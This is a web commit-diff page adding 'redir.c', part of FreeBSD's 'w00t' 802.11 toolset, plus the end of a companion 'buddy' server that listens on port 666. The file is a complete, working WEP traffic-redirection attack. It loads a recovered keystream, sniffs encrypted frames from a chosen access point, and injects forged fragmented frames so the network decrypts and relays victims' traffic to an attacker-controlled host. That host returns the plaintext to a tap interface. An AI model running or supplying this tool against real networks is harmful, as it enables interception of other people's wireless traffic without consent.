||||
int len;
|
||||
int raw;
|
||||
|
||||
memset(&s_in, 0, sizeof(&s_in));
|
||||
s_in.sin_family = PF_INET;
|
||||
s_in.sin_port = htons(666);
|
||||
s_in.sin_addr.s_addr = INADDR_ANY;
|
||||
|
||||
if ((raw = socket(PF_INET, SOCK_RAW, 0)) == -1)
|
||||
err(1, "socket()");
|
||||
|
||||
if ((s = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
|
||||
err(1, "socket()");
|
||||
|
||||
if (bind(s, (struct sockaddr*)&s_in, sizeof(s_in)) == -1)
|
||||
err(1, "bind()");
|
||||
|
||||
if (listen(s, 5) == -1)
|
||||
err(1, "listen()");
|
||||
|
||||
if (signal(SIGPIPE, hand) == SIG_ERR)
|
||||
err(1, "signal()");
|
||||
|
||||
while (1) {
|
||||
len = sizeof(s_in);
|
||||
dude = accept(s, (struct sockaddr*)&s_in, &len);
|
||||
if (dude == -1)
|
||||
err(1, "accept()");
|
||||
|
||||
printf("Got dude %s\n", inet_ntoa(s_in.sin_addr));
|
||||
handle_dude(dude, raw);
|
||||
printf("Done\n");
|
||||
}
|
||||
}
|
709
tools/tools/net80211/w00t/redir/redir.c
Normal file
709
tools/tools/net80211/w00t/redir/redir.c
Normal file
@ -0,0 +1,709 @@
|
||||
/*-
|
||||
* Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* $FreeBSD$
|
||||
*/
|
||||
#include <sys/time.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/uio.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <netinet/in_systm.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <err.h>
|
||||
#include <assert.h>
|
||||
#include <zlib.h>
|
||||
#include "w00t.h"
|
||||
|
||||
enum {
|
||||
S_START = 0,
|
||||
S_WAIT_ACK,
|
||||
S_WAIT_BUDDY
|
||||
};
|
||||
|
||||
struct queue {
|
||||
struct ieee80211_frame *wh;
|
||||
int len;
|
||||
int id;
|
||||
|
||||
char *buf;
|
||||
int live;
|
||||
struct queue *next;
|
||||
};
|
||||
|
||||
struct params {
|
||||
int rx;
|
||||
int tx;
|
||||
|
||||
int s;
|
||||
int port;
|
||||
|
||||
int tap;
|
||||
|
||||
char mac[6];
|
||||
char ap[6];
|
||||
char rtr[6];
|
||||
struct in_addr src;
|
||||
struct in_addr dst;
|
||||
|
||||
char prga[2048];
|
||||
int prga_len;
|
||||
char iv[3];
|
||||
char *fname;
|
||||
|
||||
int state;
|
||||
|
||||
struct queue *q;
|
||||
|
||||
char packet[2048];
|
||||
int packet_len;
|
||||
struct timeval last;
|
||||
int id;
|
||||
int data_try;
|
||||
|
||||
int seq;
|
||||
int frag;
|
||||
|
||||
char buddy_data[2048];
|
||||
int buddy_got;
|
||||
};
|
||||
|
||||
void load_prga(struct params *p)
|
||||
{
|
||||
int fd;
|
||||
int rd;
|
||||
|
||||
fd = open(p->fname, O_RDONLY);
|
||||
if (fd == -1) {
|
||||
p->prga_len = 0;
|
||||
return;
|
||||
}
|
||||
|
||||
rd = read(fd, p->iv, 3);
|
||||
if (rd == -1)
|
||||
err(1, "read()");
|
||||
if (rd != 3) {
|
||||
printf("Short read\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
rd = read(fd, p->prga, sizeof(p->prga));
|
||||
if (rd == -1)
|
||||
err(1, "read()");
|
||||
p->prga_len = rd;
|
||||
|
||||
printf("Loaded %d PRGA from %s\n", p->prga_len, p->fname);
|
||||
close(fd);
|
||||
}
|
||||
|
||||
int wanted(struct params *p, struct ieee80211_frame *wh, int len)
|
||||
{
|
||||
char *bssid, *sa;
|
||||
|
||||
if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
|
||||
bssid = wh->i_addr1;
|
||||
sa = wh->i_addr2;
|
||||
}
|
||||
else {
|
||||
bssid = wh->i_addr2;
|
||||
sa = wh->i_addr3;
|
||||
}
|
||||
|
||||
if (memcmp(bssid, p->ap, 6) != 0)
|
||||
return 0;
|
||||
|
||||
if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) {
|
||||
printf("Got non WEP packet...\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* my own shit */
|
||||
if (memcmp(p->mac, sa, 6) == 0)
|
||||
return 0;
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
void enque(struct params *p, char **buf, struct ieee80211_frame *wh, int len)
|
||||
{
|
||||
struct queue *q = p->q;
|
||||
int qlen = 0;
|
||||
char *ret = NULL;
|
||||
struct queue *last = NULL;
|
||||
|
||||
/* find a slot */
|
||||
while (q) {
|
||||
if (q->live)
|
||||
qlen++;
|
||||
else {
|
||||
/* recycle */
|
||||
ret = q->buf;
|
||||
break;
|
||||
}
|
||||
|
||||
last = q;
|
||||
q = q->next;
|
||||
}
|
||||
|
||||
/* need to create slot */
|
||||
if (!q) {
|
||||
q = (struct queue*) malloc(sizeof(*q));
|
||||
if (!q)
|
||||
err(1, "malloc()");
|
||||
memset(q, 0, sizeof(*q));
|
||||
|
||||
/* insert */
|
||||
if (!p->q)
|
||||
p->q = q;
|
||||
else {
|
||||
assert(last);
|
||||
last->next = q;
|
||||
}
|
||||
}
|
||||
|
||||
q->live = 1;
|
||||
q->buf = *buf;
|
||||
q->len = len;
|
||||
q->wh = wh;
|
||||
q->id = p->id++;
|
||||
|
||||
qlen++;
|
||||
|
||||
if (qlen > 5)
|
||||
printf("Enque. Size: %d\n", qlen);
|
||||
*buf = ret;
|
||||
}
|
||||
|
||||
/********** RIPPED
|
||||
************/
|
||||
unsigned short in_cksum (unsigned short *ptr, int nbytes) {
|
||||
register long sum;
|
||||
u_short oddbyte;
|
||||
register u_short answer;
|
||||
|
||||
sum = 0;
|
||||
while (nbytes > 1)
|
||||
{
|
||||
sum += *ptr++;
|
||||
nbytes -= 2;
|
||||
}
|
||||
|
||||
if (nbytes == 1)
|
||||
{
|
||||
oddbyte = 0;
|
||||
*((u_char *) & oddbyte) = *(u_char *) ptr;
|
||||
sum += oddbyte;
|
||||
}
|
||||
|
||||
sum = (sum >> 16) + (sum & 0xffff);
|
||||
sum += (sum >> 16);
|
||||
answer = ~sum;
|
||||
return (answer);
|
||||
}
|
||||
/**************
|
||||
************/
|
||||
|
||||
void send_packet(struct params *p)
|
||||
{
|
||||
int rc;
|
||||
struct ieee80211_frame *wh;
|
||||
|
||||
rc = inject(p->tx, p->packet, p->packet_len);
|
||||
if (rc == -1)
|
||||
err(1, "inject()");
|
||||
if (rc != p->packet_len) {
|
||||
printf("Wrote %d/%d\n", rc, p->packet_len);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
p->data_try++;
|
||||
wh = (struct ieee80211_frame*) p->packet;
|
||||
wh->i_fc[1] |= IEEE80211_FC1_RETRY;
|
||||
|
||||
if (gettimeofday(&p->last, NULL) == -1)
|
||||
err(1, "gettimeofday()");
|
||||
}
|
||||
|
||||
void send_header(struct params *p, struct queue *q)
|
||||
{
|
||||
struct ieee80211_frame *wh;
|
||||
short *pseq;
|
||||
char *ptr;
|
||||
struct ip *ih;
|
||||
int len, i;
|
||||
uLong crc = crc32(0L, Z_NULL, 0);
|
||||
uLong *pcrc;
|
||||
|
||||
/* 802.11 */
|
||||
memset(p->packet, 0, sizeof(p->packet));
|
||||
wh = (struct ieee80211_frame *) p->packet;
|
||||
wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
|
||||
wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
|
||||
wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
|
||||
wh->i_fc[1] |= IEEE80211_FC1_WEP;
|
||||
wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
|
||||
|
||||
wh->i_dur[0] = 0x69;
|
||||
|
||||
memcpy(wh->i_addr1, p->ap, 6);
|
||||
memcpy(wh->i_addr2, p->mac, 6);
|
||||
memcpy(wh->i_addr3, p->rtr, 6);
|
||||
|
||||
pseq = (short*) wh->i_seq;
|
||||
p->frag = 0;
|
||||
p->seq++;
|
||||
*pseq = seqfn(p->seq, p->frag++);
|
||||
|
||||
/* IV */
|
||||
ptr = (char*) (wh+1);
|
||||
memcpy(ptr, p->iv, 3);
|
||||
ptr += 4;
|
||||
|
||||
/* LLC/SNAP */
|
||||
memcpy(ptr, "\xAA\xAA\x03\x00\x00\x00\x08\x00", 8);
|
||||
|
||||
/* IP */
|
||||
ih = (struct ip*) (ptr+8);
|
||||
ih->ip_v = 4;
|
||||
ih->ip_hl = 5;
|
||||
len = q->len - sizeof(*wh) - 4 - 4 + 20;
|
||||
ih->ip_len = htons(len);
|
||||
ih->ip_id = htons(q->id);
|
||||
ih->ip_ttl = 69;
|
||||
ih->ip_p = 0;
|
||||
ih->ip_src.s_addr = p->src.s_addr;
|
||||
ih->ip_dst.s_addr = p->dst.s_addr;
|
||||
ih->ip_sum = in_cksum((unsigned short*)ih, 20);
|
||||
|
||||
/* ICV */
|
||||
len = 8 + 20;
|
||||
crc = crc32(crc, ptr, len);
|
||||
pcrc = (uLong*) (ptr+len);
|
||||
*pcrc = crc;
|
||||
|
||||
/* wepify */
|
||||
for (i = 0; i < len + 4; i++)
|
||||
ptr[i] ^= p->prga[i];
|
||||
|
||||
p->packet_len = sizeof(*wh) + 4 + len + 4;
|
||||
p->data_try = 0;
|
||||
send_packet(p);
|
||||
}
|
||||
|
||||
void send_queue(struct params *p)
|
||||
{
|
||||
struct queue *q = p->q;
|
||||
|
||||
assert(q);
|
||||
assert(q->live);
|
||||
|
||||
send_header(p, q);
|
||||
p->state = S_WAIT_ACK;
|
||||
}
|
||||
|
||||
void send_data(struct params *p)
|
||||
{
|
||||
struct ieee80211_frame *wh;
|
||||
short *seq;
|
||||
struct queue *q = p->q;
|
||||
char *dst, *src;
|
||||
int len;
|
||||
|
||||
assert(q);
|
||||
|
||||
/* 802.11 */
|
||||
memset(p->packet, 0, sizeof(p->packet));
|
||||
wh = (struct ieee80211_frame*) p->packet;
|
||||
wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
|
||||
wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
|
||||
wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
|
||||
wh->i_fc[1] |= IEEE80211_FC1_WEP;
|
||||
|
||||
wh->i_dur[0] = 0x69;
|
||||
|
||||
memcpy(wh->i_addr1, p->ap, 6);
|
||||
memcpy(wh->i_addr2, p->mac, 6);
|
||||
memcpy(wh->i_addr3, p->rtr, 6);
|
||||
|
||||
seq = (short*) wh->i_seq;
|
||||
*seq = seqfn(p->seq, p->frag++);
|
||||
|
||||
/* data */
|
||||
dst = (char*) (wh+1);
|
||||
src = (char*) (q->wh+1);
|
||||
len = q->len - sizeof(*wh);
|
||||
memcpy(dst, src, len);
|
||||
|
||||
p->packet_len = sizeof(*wh) + len;
|
||||
p->data_try = 0;
|
||||
send_packet(p);
|
||||
}
|
||||
|
||||
void got_ack(struct params *p)
|
||||
{
|
||||
switch (p->frag) {
|
||||
case 1:
|
||||
send_data(p);
|
||||
break;
|
||||
|
||||
case 2:
|
||||
p->state = S_WAIT_BUDDY;
|
||||
p->data_try = 69;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void read_wifi(struct params *p)
|
||||
{
|
||||
static char *buf = 0;
|
||||
static int buflen = 4096;
|
||||
struct ieee80211_frame *wh;
|
||||
int rc;
|
||||
|
||||
if (!buf) {
|
||||
buf = (char*) malloc(buflen);
|
||||
if (!buf)
|
||||
err(1, "malloc()");
|
||||
}
|
||||
|
||||
rc = sniff(p->rx, buf, buflen);
|
||||
if (rc == -1)
|
||||
err(1, "sniff()");
|
||||
|
||||
wh = get_wifi(buf, &rc);
|
||||
if (!wh)
|
||||
return;
|
||||
|
||||
/* acks */
|
||||
if (frame_type(wh, IEEE80211_FC0_TYPE_CTL, IEEE80211_FC0_SUBTYPE_ACK) &&
|
||||
(memcmp(p->mac, wh->i_addr1, 6) == 0)) {
|
||||
got_ack(p);
|
||||
return;
|
||||
}
|
||||
|
||||
/* data */
|
||||
if (frame_type(wh, IEEE80211_FC0_TYPE_DATA,
|
||||
IEEE80211_FC0_SUBTYPE_DATA)) {
|
||||
if (!wanted(p, wh, rc))
|
||||
return;
|
||||
|
||||
enque(p, &buf, wh, rc);
|
||||
if (p->state == S_START)
|
||||
send_queue(p);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
int connect_buddy(struct params *p)
|
||||
{
|
||||
struct sockaddr_in s_in;
|
||||
|
||||
memset(&s_in, 0, sizeof(s_in));
|
||||
s_in.sin_family = PF_INET;
|
||||
s_in.sin_port = htons(p->port);
|
||||
s_in.sin_addr.s_addr = p->dst.s_addr;
|
||||
|
||||
if ((p->s = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
|
||||
return -1;
|
||||
|
||||
if (connect(p->s, (struct sockaddr*) &s_in, sizeof(s_in)) == -1)
|
||||
return -1;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void buddy_reset(struct params *p)
|
||||
{
|
||||
p->buddy_got = 0;
|
||||
|
||||
if (connect_buddy(p) == -1)
|
||||
err(1, "connect_buddy()");
|
||||
}
|
||||
|
||||
int buddy_get(struct params *p, int len)
|
||||
{
|
||||
int rd;
|
||||
|
||||
rd = recv(p->s, &p->buddy_data[p->buddy_got], len, 0);
|
||||
if (rd <= 0) {
|
||||
buddy_reset(p);
|
||||
return 0;
|
||||
}
|
||||
|
||||
p->buddy_got += rd;
|
||||
return rd == len;
|
||||
}
|
||||
|
||||
void read_buddy_head(struct params *p)
|
||||
{
|
||||
int rem;
|
||||
|
||||
rem = 4 - p->buddy_got;
|
||||
|
||||
if (!buddy_get(p, rem))
|
||||
return;
|
||||
}
|
||||
|
||||
void read_buddy_data(struct params *p)
|
||||
{
|
||||
unsigned short *ptr = (unsigned short*) p->buddy_data;
|
||||
int id, len, rem;
|
||||
struct queue *q = p->q;
|
||||
struct queue *last = p->q;
|
||||
char mac[12];
|
||||
struct iovec iov[2];
|
||||
|
||||
id = ntohs(*ptr++);
|
||||
len = ntohs(*ptr++);
|
||||
|
||||
rem = len + 4 - p->buddy_got;
|
||||
|
||||
assert(rem > 0);
|
||||
if (!buddy_get(p, rem))
|
||||
return;
|
||||
|
||||
/* w00t, got it */
|
||||
#if 0
|
||||
printf("id=%d len=%d\n", id, len);
|
||||
#endif
|
||||
p->buddy_got = 0;
|
||||
|
||||
/* feedback loop bullshit */
|
||||
if (!q)
|
||||
return;
|
||||
if (!q->live)
|
||||
return;
|
||||
|
||||
/* sanity chex */
|
||||
if (q->id != id) {
|
||||
printf("Diff ID\n");
|
||||
return;
|
||||
}
|
||||
|
||||
rem = q->len - sizeof(*q->wh) - 4 - 4;
|
||||
if (rem != len) {
|
||||
printf("Diff len\n");
|
||||
return;
|
||||
}
|
||||
|
||||
/* tap */
|
||||
if (q->wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
|
||||
memcpy(mac, q->wh->i_addr3, 6);
|
||||
memcpy(&mac[6], q->wh->i_addr2, 6);
|
||||
} else {
|
||||
memcpy(mac, q->wh->i_addr1, 6);
|
||||
memcpy(&mac[6], q->wh->i_addr3, 6);
|
||||
}
|
||||
iov[0].iov_base = mac;
|
||||
iov[0].iov_len = sizeof(mac);
|
||||
iov[1].iov_base = (char*)ptr + 8 - 2;
|
||||
iov[1].iov_len = len - 8 + 2;
|
||||
|
||||
rem = writev(p->tap, iov, sizeof(iov)/sizeof(struct iovec));
|
||||
if (rem == -1)
|
||||
err(1, "writev()");
|
||||
if (rem != (14+(len-8))) {
|
||||
printf("Short write %d\n", rem);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
/* deque */
|
||||
q->live = 0;
|
||||
if (q->next) {
|
||||
|
||||
p->q = q->next;
|
||||
|
||||
while (last) {
|
||||
if (!last->next) {
|
||||
last->next = q;
|
||||
q->next = 0;
|
||||
break;
|
||||
}
|
||||
last = last->next;
|
||||
}
|
||||
}
|
||||
|
||||
/* drain queue */
|
||||
p->state = S_START;
|
||||
if (p->q->live)
|
||||
send_queue(p);
|
||||
}
|
||||
|
||||
void read_buddy(struct params *p)
|
||||
{
|
||||
if (p->buddy_got < 4)
|
||||
read_buddy_head(p);
|
||||
else
|
||||
read_buddy_data(p);
|
||||
}
|
||||
|
||||
void own(struct params *p)
|
||||
{
|
||||
struct timeval tv;
|
||||
struct timeval *to = NULL;
|
||||
fd_set fds;
|
||||
int max;
|
||||
int tout_ack = 10*1000;
|
||||
int tout_buddy = 2*1000*1000;
|
||||
int tout = (p->state == S_WAIT_BUDDY) ? tout_buddy : tout_ack;
|
||||
|
||||
if (p->state == S_WAIT_ACK || p->state == S_WAIT_BUDDY) {
|
||||
int el;
|
||||
|
||||
/* check timeout */
|
||||
if (gettimeofday(&tv, NULL) == -1)
|
||||
err(1, "gettimeofday()");
|
||||
|
||||
el = elapsed(&p->last, &tv);
|
||||
|
||||
/* timeout */
|
||||
if (el >= tout) {
|
||||
if (p->data_try > 3) {
|
||||
p->state = S_START;
|
||||
return;
|
||||
} else {
|
||||
send_packet(p);
|
||||
el = 0;
|
||||
}
|
||||
}
|
||||
el = tout - el;
|
||||
tv.tv_sec = el/1000/1000;
|
||||
tv.tv_usec = el - tv.tv_sec*1000*1000;
|
||||
to = &tv;
|
||||
}
|
||||
|
||||
FD_ZERO(&fds);
|
||||
FD_SET(p->rx, &fds);
|
||||
FD_SET(p->s, &fds);
|
||||
max = (p->rx > p->s) ? p->rx : p->s;
|
||||
|
||||
if (select(max+1, &fds, NULL, NULL, to) == -1)
|
||||
err(1, "select()");
|
||||
|
||||
if (FD_ISSET(p->rx, &fds))
|
||||
read_wifi(p);
|
||||
if (FD_ISSET(p->s, &fds))
|
||||
read_buddy(p);
|
||||
}
|
||||
|
||||
void usage(char *name)
|
||||
{
|
||||
printf("Usage %s <opts>\n"
|
||||
"-h\thelp\n"
|
||||
"-d\t<buddy ip>\n"
|
||||
"-p\t<port>\n"
|
||||
"-b\t<bssid>\n"
|
||||
"-t\t<tap>\n"
|
||||
"-r\t<rtr>\n"
|
||||
"-s\t<source ip>\n"
|
||||
, name);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
struct params p;
|
||||
char *iface = "ath0";
|
||||
char *tap = "tap0";
|
||||
int ch;
|
||||
|
||||
memset(&p, 0, sizeof(p));
|
||||
memcpy(p.mac, "\x00\x00\xde\xfa\xce\xd", 6);
|
||||
p.fname = "prga.log";
|
||||
p.seq = getpid();
|
||||
|
||||
while ((ch = getopt(argc, argv, "hd:p:b:t:r:s:")) != -1) {
|
||||
switch (ch) {
|
||||
case 's':
|
||||
if (!inet_aton(optarg, &p.src)) {
|
||||
printf("Can't parse src IP\n");
|
||||
exit(1);
|
||||
}
|
||||
break;
|
||||
|
||||
case 'r':
|
||||
if (str2mac(p.rtr, optarg) == -1) {
|
||||
printf("Can't parse rtr MAC\n");
|
||||
exit(1);
|
||||
}
|
||||
break;
|
||||
|
||||
case 't':
|
||||
tap = optarg;
|
||||
break;
|
||||
|
||||
case 'b':
|
||||
if (str2mac(p.ap, optarg) == -1) {
|
||||
printf("Can't parse BSSID\n");
|
||||
exit(1);
|
||||
}
|
||||
break;
|
||||
|
||||
case 'd':
|
||||
if (!inet_aton(optarg, &p.dst)) {
|
||||
printf("Can't parse IP\n");
|
||||
exit(1);
|
||||
}
|
||||
break;
|
||||
|
||||
case 'p':
|
||||
p.port = atoi(optarg);
|
||||
break;
|
||||
|
||||
case 'h':
|
||||
default:
|
||||
usage(argv[0]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
load_prga(&p);
|
||||
assert(p.prga_len > 60);
|
||||
|
||||
if ((p.rx = open_rx(iface)) == -1)
|
||||
err(1, "open_rx()");
|
||||
if ((p.tx = open_tx(iface)) == -1)
|
||||
err(1, "open_tx()");
|
||||
|
||||
if ((p.tap = open_tap(tap)) == -1)
|
||||
err(1, "open_tap()");
|
||||
if (set_iface_mac(tap, p.mac) == -1)
|
||||
err(1, "set_iface_mac()");
|
||||
|
||||
if (connect_buddy(&p) == -1)
|
||||
err(1, "connect_buddy()");
|
||||
|
||||
p.state = S_START;
|
||||
while (1)
|
||||
own(&p);
|
||||
|
||||
exit(0);
|
||||
}
|
Loading…
Reference in New Issue
Block a user